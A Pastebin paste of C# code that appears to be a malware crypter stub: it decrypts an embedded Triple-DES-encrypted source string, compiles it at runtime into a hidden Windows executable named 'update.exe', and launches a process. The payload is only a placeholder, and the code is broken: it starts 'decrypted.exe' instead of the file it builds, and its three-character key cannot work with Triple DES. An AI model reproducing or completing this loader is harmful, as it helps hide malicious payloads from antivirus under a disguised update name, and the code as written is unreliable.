Advertisement
Guest User

Untitled

a guest
Mar 20th, 2018
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.81 KB | None | 0 0
  1. using Microsoft.CSharp;
  2. using System;
  3. using System.CodeDom.Compiler;
  4. using System.Diagnostics;
  5. using System.Security.Cryptography;
  6. using System.Text;
  7.  
  8. namespace ConsoleApp4
  9. {
  10. class Program
  11. {
  12. static void Main(string[] args)
  13. {
  14.  
  15.  
  16. string decrypted = Decrypt("ENCRYPTION");
  17. CSharpCodeProvider codeProvider = new CSharpCodeProvider();
  18. ICodeCompiler icc = codeProvider.CreateCompiler();
  19.  
  20.  
  21. System.CodeDom.Compiler.CompilerParameters parameters = new CompilerParameters();
  22.  
  23. string[] ReferenceThings = new string[]
  24. {
  25. "Microsoft.CSharp.dll",
  26. "Microsoft.VisualBasic.dll",
  27. "System.dll",
  28. "System.Core.dll",
  29. "System.Data.dll",
  30. "System.Data.DataSetExtensions.dll",
  31. "System.Deployment.dll",
  32. "System.Net.Http.dll",
  33. "System.Windows.Forms.dll",
  34. "System.Xml.dll",
  35. "System.Xml.Linq.dll"
  36.  
  37. };
  38.  
  39. parameters.ReferencedAssemblies.AddRange(ReferenceThings);
  40. parameters.GenerateExecutable = true;
  41. parameters.OutputAssembly = "update.exe";
  42. parameters.CompilerOptions = "/optimize+ /platform:x86 /target:winexe /unsafe";
  43. CompilerResults results = icc.CompileAssemblyFromSource(parameters, decrypted);
  44. Process.Start("decrypted.exe");
  45. }
  46.  
  47. public static string Decrypt(string cipherString)
  48. {
  49. byte[] keyArray;
  50. //get the byte code of the string
  51.  
  52. byte[] toEncryptArray = Convert.FromBase64String(cipherString);
  53.  
  54. //Get your key from config file to open the lock!
  55. string key = "OOF";
  56.  
  57.  
  58. //if hashing was not implemented get the byte code of the key
  59. keyArray = UTF8Encoding.UTF8.GetBytes(key);
  60.  
  61.  
  62. TripleDESCryptoServiceProvider tdes = new TripleDESCryptoServiceProvider();
  63. //set the secret key for the tripleDES algorithm
  64. tdes.Key = keyArray;
  65. //mode of operation. there are other 4 modes.
  66. //We choose ECB(Electronic code Book)
  67.  
  68. tdes.Mode = CipherMode.ECB;
  69. //padding mode(if any extra byte added)
  70. tdes.Padding = PaddingMode.PKCS7;
  71.  
  72. ICryptoTransform cTransform = tdes.CreateDecryptor();
  73. byte[] resultArray = cTransform.TransformFinalBlock(
  74. toEncryptArray, 0, toEncryptArray.Length);
  75. //Release resources held by TripleDes Encryptor
  76. tdes.Clear();
  77. //return the Clear decrypted TEXT
  78. return UTF8Encoding.UTF8.GetString(resultArray);
  79. }
  80.  
  81. }
  82.  
  83. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement